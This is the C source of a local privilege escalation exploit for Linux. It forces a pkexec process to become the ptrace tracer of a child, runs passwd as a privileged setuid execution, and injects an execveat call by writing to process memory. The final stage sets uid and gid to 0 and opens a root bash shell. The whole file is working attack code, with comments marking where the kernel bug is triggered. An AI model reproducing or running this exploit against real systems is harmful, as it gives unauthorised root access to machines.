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| #define _GNU_SOURCE
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <err.h>
#include <signal.h>
#include <stdio.h>
#include <fcntl.h>
#include <sched.h>
#include <stddef.h>
#include <stdarg.h>
#include <pwd.h>
#include <sys/prctl.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <sys/user.h>
#include <sys/syscall.h>
#include <sys/stat.h>
#include <linux/elf.h>
#define SAFE(expr) ({ \
typeof(expr) __res = (expr); \
if (__res == -1) err(1, "%s", #expr); \
__res; \
})
#define max(a,b) ((a)>(b) ? (a) : (b))
static int middle_success = 1;
static int block_pipe[2];
static int self_fd = -1;
static int dummy_status;
static const char *helper_path;
const char *helpers[] = {
"/usr/lib/x86_64-linux-gnu/xfce4/session/xfsm-shutdown-helper",
};
/* temporary printf; returned pointer is valid until next tprintf */
static char *tprintf(char *fmt, ...) {
static char buf[10000];
va_list ap;
va_start(ap, fmt);
vsprintf(buf, fmt, ap);
va_end(ap);
return buf;
}
static int middle_main(void *dummy) {
prctl(PR_SET_PDEATHSIG, SIGKILL);
pid_t middle = getpid();
self_fd = SAFE(open("/proc/self/exe", O_RDONLY));
pid_t child = SAFE(fork());
if (child == 0) {
prctl(PR_SET_PDEATHSIG, SIGKILL);
SAFE(dup2(self_fd, 42));
/* spin until our parent becomes privileged (have to be fast here) */
int proc_fd = SAFE(open(tprintf("/proc/%d/status", middle), O_RDONLY));
char *needle = tprintf("\nUid:\t%d\t0\t", getuid());
while (1) {
char buf[1000];
ssize_t buflen = SAFE(pread(proc_fd, buf, sizeof(buf)-1, 0));
buf[buflen] = '\0';
if (strstr(buf, needle)) break;
}
/*
* this is where the bug is triggered.
* while our parent is in the middle of pkexec, we force it to become our
* tracer, with pkexec's creds as ptracer_cred.
*/
SAFE(ptrace(PTRACE_TRACEME, 0, NULL, NULL));
/*
* now we execute passwd. because the ptrace relationship is considered to
* be privileged, this is a proper suid execution despite the attached
* tracer, not a degraded one.
* at the end of execve(), this process receives a SIGTRAP from ptrace.
*/
puts("executing passwd");
execl("/usr/bin/passwd", "passwd", NULL);
err(1, "execl passwd");
}
SAFE(dup2(self_fd, 0));
SAFE(dup2(block_pipe[1], 1));
struct passwd *pw = getpwuid(getuid());
if (pw == NULL) err(1, "getpwuid");
middle_success = 1;
execl("/usr/bin/pkexec", "pkexec", "--user", pw->pw_name,
helper_path,
"--help", NULL);
middle_success = 0;
err(1, "execl pkexec");
}
static void force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) {
struct user_regs_struct regs;
struct iovec iov = { .iov_base = ®s, .iov_len = sizeof(regs) };
SAFE(ptrace(PTRACE_SYSCALL, pid, 0, NULL));
SAFE(waitpid(pid, &dummy_status, 0));
SAFE(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov));
/* set up indirect arguments */
unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL;
struct injected_page {
unsigned long argv[2];
unsigned long envv[1];
char arg0[8];
char path[1];
} ipage = {
.argv = { scratch_area + offsetof(struct injected_page, arg0) }
};
strcpy(ipage.arg0, arg0);
for (int i = 0; i < sizeof(ipage)/sizeof(long); i++) {
unsigned long pdata = ((unsigned long *)&ipage)[i];
SAFE(ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long),
(void*)pdata));
}
/* execveat(exec_fd, path, argv, envv, flags) */
regs.orig_rax = __NR_execveat;
regs.rdi = exec_fd;
regs.rsi = scratch_area + offsetof(struct injected_page, path);
regs.rdx = scratch_area + offsetof(struct injected_page, argv);
regs.r10 = scratch_area + offsetof(struct injected_page, envv);
regs.r8 = AT_EMPTY_PATH;
SAFE(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov));
SAFE(ptrace(PTRACE_DETACH, pid, 0, NULL));
SAFE(waitpid(pid, &dummy_status, 0));
}
static int middle_stage2(void) {
/* our child is hanging in signal delivery from execve()'s SIGTRAP */
pid_t child = SAFE(waitpid(-1, &dummy_status, 0));
force_exec_and_wait(child, 42, "stage3");
return 0;
}
static int spawn_shell(void) {
SAFE(setresgid(0, 0, 0));
SAFE(setresuid(0, 0, 0));
execlp("bash", "bash", NULL);
err(1, "execlp");
}
int main(int argc, char **argv) {
if (strcmp(argv[0], "stage2") == 0)
return middle_stage2();
if (strcmp(argv[0], "stage3") == 0)
return spawn_shell();
for (int i=0; i<sizeof(helpers)/sizeof(helpers[0]); i++) {
struct stat st;
if (stat(helpers[i], &st) == 0) {
helper_path = helpers[i];
break;
}
}
if (helper_path == NULL)
errx(1, "no known helper found, add a helper with <allow_active>yes</allow_active> from /usr/share/polkit-1/actions to `helpers`");
/*
* set up a pipe such that the next write to it will block: packet mode,
* limited to one packet
*/
SAFE(pipe2(block_pipe, O_CLOEXEC|O_DIRECT));
SAFE(fcntl(block_pipe[0], F_SETPIPE_SZ, 0x1000));
char dummy = 0;
SAFE(write(block_pipe[1], &dummy, 1));
/* spawn pkexec in a child, and continue here once our child is in execve() */
static char middle_stack[1024*1024];
pid_t midpid = SAFE(clone(middle_main, middle_stack+sizeof(middle_stack),
CLONE_VM|CLONE_VFORK|SIGCHLD, NULL));
if (!middle_success) return 1;
/*
* wait for our child to go through both execve() calls (first pkexec, then
* the executable permitted by polkit policy).
*/
while (1) {
int fd = open(tprintf("/proc/%d/comm", midpid), O_RDONLY);
char buf[16];
int buflen = SAFE(read(fd, buf, sizeof(buf)-1));
buf[buflen] = '\0';
*strchrnul(buf, '\n') = '\0';
if (strncmp(buf, basename(helper_path), 15) == 0)
break;
usleep(100000);
}
/*
* our child should have gone through both the privileged execve() and the
* following execve() here
*/
SAFE(ptrace(PTRACE_ATTACH, midpid, 0, NULL));
SAFE(waitpid(midpid, &dummy_status, 0));
fputs("attached to midpid\n", stderr);
force_exec_and_wait(midpid, 0, "stage2");
return 0;
}
|